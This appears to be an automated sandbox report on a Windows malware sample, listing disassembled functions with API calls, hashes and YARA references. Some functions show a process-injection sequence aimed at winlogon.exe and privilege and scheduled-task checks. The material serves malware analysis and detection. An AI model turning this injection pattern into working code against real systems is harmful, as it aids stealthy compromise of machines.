                                                                                                                                                                                                            • CreateProcessWithLogonW.ADVAPI32(?,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000,?,?), ref: 0040199B
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 004019AD
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 004019B6
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 004019C2
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 004019C5
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 004019D2
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 004019D5
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 004019DE
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 004019E1
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00401E65), ref: 004019F1
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 004019F4
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00401E65), ref: 00401A01
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 00401A04
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$ByteCharMultiWide$memset$AllocFreeValidate$CreateLogonWith
                                                                                                                                                                                                            • String ID: D
                                                                                                                                                                                                            • API String ID: 3422789474-2746444292
                                                                                                                                                                                                            • Opcode ID: 305985fe563536e86098805144d0a2e1e56e9e587e80ceb7f6eacc4e8f8e770f
                                                                                                                                                                                                            • Instruction ID: 7aa473d0462345c53030a0d843d553fe9ec79da9d6527bb3e9654a4a16b7ec1b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 305985fe563536e86098805144d0a2e1e56e9e587e80ceb7f6eacc4e8f8e770f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4A6195B1A01215BBDB209FA58C45FAF7B6CEF84751F15422AFE14B72D0CA749D00CAA8
                                                                                                                                                                                                            Function 00401580 Relevance: 40.5, APIs: 21, Strings: 2, Instructions: 215injectionlibrarymemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 00401C70: memset.MSVCRT ref: 00401C96
                                                                                                                                                                                                              • Part of subcall function 00401C70: CreateToolhelp32Snapshot.KERNEL32(00000008,00000000,76230F00,00000000,00000000), ref: 00401CA7
                                                                                                                                                                                                              • Part of subcall function 00401C70: GetLastError.KERNEL32 ref: 00401CB0
                                                                                                                                                                                                              • Part of subcall function 00401C70: SwitchToThread.KERNEL32 ref: 00401CBF
                                                                                                                                                                                                              • Part of subcall function 00401C70: CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401CC8
                                                                                                                                                                                                              • Part of subcall function 00401C70: GetHandleInformation.KERNEL32(00000000,00000000), ref: 00401CE8
                                                                                                                                                                                                              • Part of subcall function 00401C70: CloseHandle.KERNEL32(00000000), ref: 00401CF9
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064,00000000,?,76D6DB30,00402E38,winlogon.exe), ref: 004015AD
                                                                                                                                                                                                            • OpenProcess.KERNEL32(001F0FFF,00000000,00000000,00000000,?,76D6DB30,00402E38,winlogon.exe), ref: 004015CC
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 004015EB
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00401601
                                                                                                                                                                                                            • GetCurrentProcess.KERNEL32(00000000), ref: 0040160D
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00401628
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00401638
                                                                                                                                                                                                            • VirtualAllocEx.KERNEL32(00000000,00000000,?,00003000,00000040), ref: 0040167F
                                                                                                                                                                                                            • WriteProcessMemory.KERNEL32(00000000,00000000,00406400,?,?), ref: 004016A1
                                                                                                                                                                                                            • VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 004016CD
                                                                                                                                                                                                            • memcpy.MSVCRT(00000000,?,?), ref: 004016E8
                                                                                                                                                                                                            • WriteProcessMemory.KERNEL32(?,?,00000000,00000000,?), ref: 00401703
                                                                                                                                                                                                            • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00401711
                                                                                                                                                                                                            • WriteProcessMemory.KERNEL32(00000000,?,00406400,00050200,?), ref: 00401744
                                                                                                                                                                                                            • FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 00401754
                                                                                                                                                                                                            • CreateRemoteThread.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00401766
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000), ref: 0040177E
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 0040178F
                                                                                                                                                                                                            • RtlCreateUserThread.NTDLL(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 004017B0
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000), ref: 004017CC
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 004017DD
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$Process$Create$CloseInformationMemoryThreadVirtualWrite$AddressAllocModuleProcSnapshotToolhelp32$CacheCurrentErrorFlushFreeInstructionLastOpenRemoteSleepSwitchUsermemcpymemset
                                                                                                                                                                                                            • String ID: IsWow64Process$kernel32.dll
                                                                                                                                                                                                            • API String ID: 3542510048-3024904723
                                                                                                                                                                                                            • Opcode ID: 9e2c1cff1cdf4c28cbaf7383b6b48f0421d485e879072eb787a5153b6e1db307
                                                                                                                                                                                                            • Instruction ID: c9964d6c084eb6c4e09adf0a78a82ba29cca963801df753bbce45d31a4150425
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 9e2c1cff1cdf4c28cbaf7383b6b48f0421d485e879072eb787a5153b6e1db307
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5571A3B1600315ABE710DFA4DD89F6F77B8AF84B04F144029FA05B72D1E7B8994587AC
                                                                                                                                                                                                            Function 00401C70 Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 90processthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 00401C96
                                                                                                                                                                                                            • CreateToolhelp32Snapshot.KERNEL32(00000008,00000000,76230F00,00000000,00000000), ref: 00401CA7
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 00401CB0
                                                                                                                                                                                                            • SwitchToThread.KERNEL32 ref: 00401CBF
                                                                                                                                                                                                            • CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401CC8
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 00401CE8
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00401CF9
                                                                                                                                                                                                            • Module32First.KERNEL32(00000000,?), ref: 00401D1A
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,kernel), ref: 00401D3C
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,.dll), ref: 00401D48
                                                                                                                                                                                                            • Module32Next.KERNEL32(00000000,00000224), ref: 00401D56
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CreateHandleModule32SnapshotToolhelp32$CloseErrorFirstInformationLastNextSwitchThreadmemset
                                                                                                                                                                                                            • String ID: .dll$kernel
                                                                                                                                                                                                            • API String ID: 2979424695-2375045364
                                                                                                                                                                                                            • Opcode ID: 2e763791af0f1b55d9a70bbaeb0f15e26afb3baf3eac05cd15eefe00859f8061
                                                                                                                                                                                                            • Instruction ID: 6b572b3e0c1d36d44cadbb52a12c0b3f1dd55c4915d11e4f0b3c307bdf2881c5
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2e763791af0f1b55d9a70bbaeb0f15e26afb3baf3eac05cd15eefe00859f8061
                                                                                                                                                                                                            • Instruction Fuzzy Hash: EC21B972A0111467D7109BA5AD49B9E77A8EF89720F100276EA04F32E0EB34DD4556A9
                                                                                                                                                                                                            Function 004033A0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetVersionExA.KERNEL32(?,\\?\globalroot\systemroot\system32\tasks\), ref: 004033C7
                                                                                                                                                                                                            • GetCurrentProcess.KERNEL32(00000008,00000000), ref: 004033E9
                                                                                                                                                                                                            • OpenProcessToken.ADVAPI32(00000000), ref: 004033F0
                                                                                                                                                                                                            • GetTokenInformation.ADVAPI32(00000000,00000012(TokenIntegrityLevel),?,00000004,?), ref: 00403411
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00403427
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • \\?\globalroot\systemroot\system32\tasks\, xrefs: 004033A9
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ProcessToken$CloseCurrentHandleInformationOpenVersion
                                                                                                                                                                                                            • String ID: \\?\globalroot\systemroot\system32\tasks\
                                                                                                                                                                                                            • API String ID: 4133869067-1576788796
                                                                                                                                                                                                            • Opcode ID: 645d9aa35765d8fa00b4ca3d9b4e73897e66a258ba203d8b6412706febb71317
                                                                                                                                                                                                            • Instruction ID: 021f6ab0fc676138f4263539a703c8a5ee641fdd4e06072bb68a67a5c5d36617
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 645d9aa35765d8fa00b4ca3d9b4e73897e66a258ba203d8b6412706febb71317
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4E0188B5E00208EBEB20CFA0DD09B9A7BBCAB85701F4040A5E709B6280D6749F44CF75
                                                                                                                                                                                                            Function 00422380 Relevance: .8, Instructions: 833COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: fda0e8785c2b784ed165e1e2f0db2950fa3c2b4a98a8e5714da0227d163011df
                                                                                                                                                                                                            • Instruction ID: a443a6be7b6020440c066dd6ac9f13e6f3c101328c6206cdfb6017cdb3c45d4c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: fda0e8785c2b784ed165e1e2f0db2950fa3c2b4a98a8e5714da0227d163011df
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 406217302042629FE715DF349EA8AAB7BE5EF9A300F44C959E885C7331DB74C909C799
                                                                                                                                                                                                            Function 0044599D Relevance: .8, Instructions: 789COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 24b898cc278001aa302173b1ebfbe9ab6da14a012747f73bc7f8226c98198e4a
                                                                                                                                                                                                            • Instruction ID: 4c2327c6d9ea0fd5f78b0127e51354d19f4113b4e822ec877585a6efb92c7c58
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 24b898cc278001aa302173b1ebfbe9ab6da14a012747f73bc7f8226c98198e4a
                                                                                                                                                                                                            • Instruction Fuzzy Hash: CD62BC70E00A269BEB0CCF55C4906EDBBB2FF85311F24826EC81667B85D778A955CF84
                                                                                                                                                                                                            Function 00433980 Relevance: .7, Instructions: 675COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: d2bc618ccad3562935955a192db260dfb9d2e6bee5d337b6c715297b9bec9ce8
                                                                                                                                                                                                            • Instruction ID: 31199357ceec466129956888dd439b1d4a6f100edec160316ecfa63dcdc1427f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d2bc618ccad3562935955a192db260dfb9d2e6bee5d337b6c715297b9bec9ce8
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1B42D371A002199FDB10DFA9C881AEFB7B1BF88304F54556EE446A7342D738BD45CBA8
                                                                                                                                                                                                            Function 00443BB0 Relevance: .5, Instructions: 504COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: f5f03b92f91bc0fa13057e0a00df989dad41c0c834fe398416088b62e1f161a5
                                                                                                                                                                                                            • Instruction ID: eac5d11cb92673f9bb66abbec7de51b37a046753e49d1a185180b8ac7a31a903
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f5f03b92f91bc0fa13057e0a00df989dad41c0c834fe398416088b62e1f161a5
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 7D122630A047859FEB25CF18C9806AEB7F1AF96710F14855FE4A68B391C738EE46CB54
                                                                                                                                                                                                            Function 00444280 Relevance: .5, Instructions: 499COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: dbb3dbd4f1a7e42d557d55f1836cfda86b2050670afa8ddbabdc4c804d563f80
                                                                                                                                                                                                            • Instruction ID: 021bb5d2b7c0cb56e537b8d227e73ed21d0ebdb26bc59c524461a715ef61eba8
                                                                                                                                                                                                            • Opcode Fuzzy Hash: dbb3dbd4f1a7e42d557d55f1836cfda86b2050670afa8ddbabdc4c804d563f80
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FC12F630A047849FEB15CF28C9807AEBBF1AF96314F14855EE8A64B791C738ED42CB54
                                                                                                                                                                                                            Function 004434E0 Relevance: .5, Instructions: 499COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 00cb6110a2b699abd96713e289be10720307309afa9449c25425e0025887b9a6
                                                                                                                                                                                                            • Instruction ID: c4f7584d98bb462e22f8ca5efa45b381d380756b5cf0509a019ae382a9018600
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 00cb6110a2b699abd96713e289be10720307309afa9449c25425e0025887b9a6
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B1121570A007859FEB25CF18C9806AEBBF1AF96711F14855FE4A68B351C738EE42CB54
                                                                                                                                                                                                            Function 00442250 Relevance: .5, Instructions: 494COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 875064cff97081166aed1be67bd98ed2576c8f6fcc3bfcc6e64621cd83be4fae
                                                                                                                                                                                                            • Instruction ID: b7b9f9f22af13d42a5b6316f7f2a44174fcb43b43f91c23f0d1d097708033df0
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 875064cff97081166aed1be67bd98ed2576c8f6fcc3bfcc6e64621cd83be4fae
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F312E530A047859FEB25CF28CA8069A7BF1BF56310F54855EF8A58B381C778ED42CB64
                                                                                                                                                                                                            Function 00440A60 Relevance: .5, Instructions: 474COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: de9ff50583ee048039bb51e6425aa69cb088ad25014410a60100640d1a31ab45
                                                                                                                                                                                                            • Instruction ID: c96630ca6486ca8a3dffba479f0708cf21e85e20dbdd268f71493559b7ccfc47
                                                                                                                                                                                                            • Opcode Fuzzy Hash: de9ff50583ee048039bb51e6425aa69cb088ad25014410a60100640d1a31ab45
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 91021630A007459FEB24CF18C9806AFB7E1EF91314F14856FE9A68B391D738AD56C798
                                                                                                                                                                                                            Function 0043FE00 Relevance: .5, Instructions: 474COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 62266d2bb0fd7cb72f5456114ccefa61cd6d3619e0fa61cbae80b75a03c25a28
                                                                                                                                                                                                            • Instruction ID: b5c27d84d61b241dfbbeb53c51d0fdd6cf76b480a9746a7cf7f6d71d37627bea
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 62266d2bb0fd7cb72f5456114ccefa61cd6d3619e0fa61cbae80b75a03c25a28
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1702F330A007459FEB20CF28C9816AF77E1BF96310F14856FE9A58B391D738AD56CB94
                                                                                                                                                                                                            Function 004416C0 Relevance: .5, Instructions: 473COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 842b6e569715697e2913e9ef520192c111f60459be670174adc123d7c1086160
                                                                                                                                                                                                            • Instruction ID: 5c11e9432c662da9e832bb00048f610cc01de9b2e0be984bbf0aa46c625adfee
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 842b6e569715697e2913e9ef520192c111f60459be670174adc123d7c1086160
                                                                                                                                                                                                            • Instruction Fuzzy Hash: BE02E630A007459FEB24CF18C9916AFB7E1EF92310F14855FE4A69B3A1D738A982C759
                                                                                                                                                                                                            Function 0043F190 Relevance: .5, Instructions: 471COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 64ddcdb94234de5d560dda6265b912994e733e8d5260f18d2812bbace300dc76
                                                                                                                                                                                                            • Instruction ID: 6f27e782664b546ea9a7b70d93e541e4de47497114ddd59825f0d455be94bf6b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 64ddcdb94234de5d560dda6265b912994e733e8d5260f18d2812bbace300dc76
                                                                                                                                                                                                            • Instruction Fuzzy Hash: AE02F430E007459FDB24CF28C581AAF77E1AF99310F14956FE8A58B391D738AD4ACB94
                                                                                                                                                                                                            Function 00408FB0 Relevance: .5, Instructions: 466COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 88621d46758aedf690ac812344085eee3c67f3b628deeb412a6ed4927ae68baa
                                                                                                                                                                                                            • Instruction ID: e4885def972384e71c6d3d4fa2c3ca7822b4fe2f95aa3e637cc98f64f0d57cdc
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 88621d46758aedf690ac812344085eee3c67f3b628deeb412a6ed4927ae68baa
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 93F19B71A0021AABDB20CF98C984BAFB7B5EF88314F14417AED05A7381D779DD41CBA5
                                                                                                                                                                                                            Function 004386F0 Relevance: .5, Instructions: 457COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 2e8fd1392c8e8ca8671e57119c901ec34dab3edcf339fcd96841df010c3a8279
                                                                                                                                                                                                            • Instruction ID: fb58a9955cc4d1b946931b1175dba42f0bbce99fa4b1ebf213060499804b6f98
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2e8fd1392c8e8ca8671e57119c901ec34dab3edcf339fcd96841df010c3a8279
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 991236B1E002198FCF18CF99C9905ADFBF2BF98314F18916EE849AB754D738A941CB54
                                                                                                                                                                                                            Function 0043E340 Relevance: .4, Instructions: 410COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
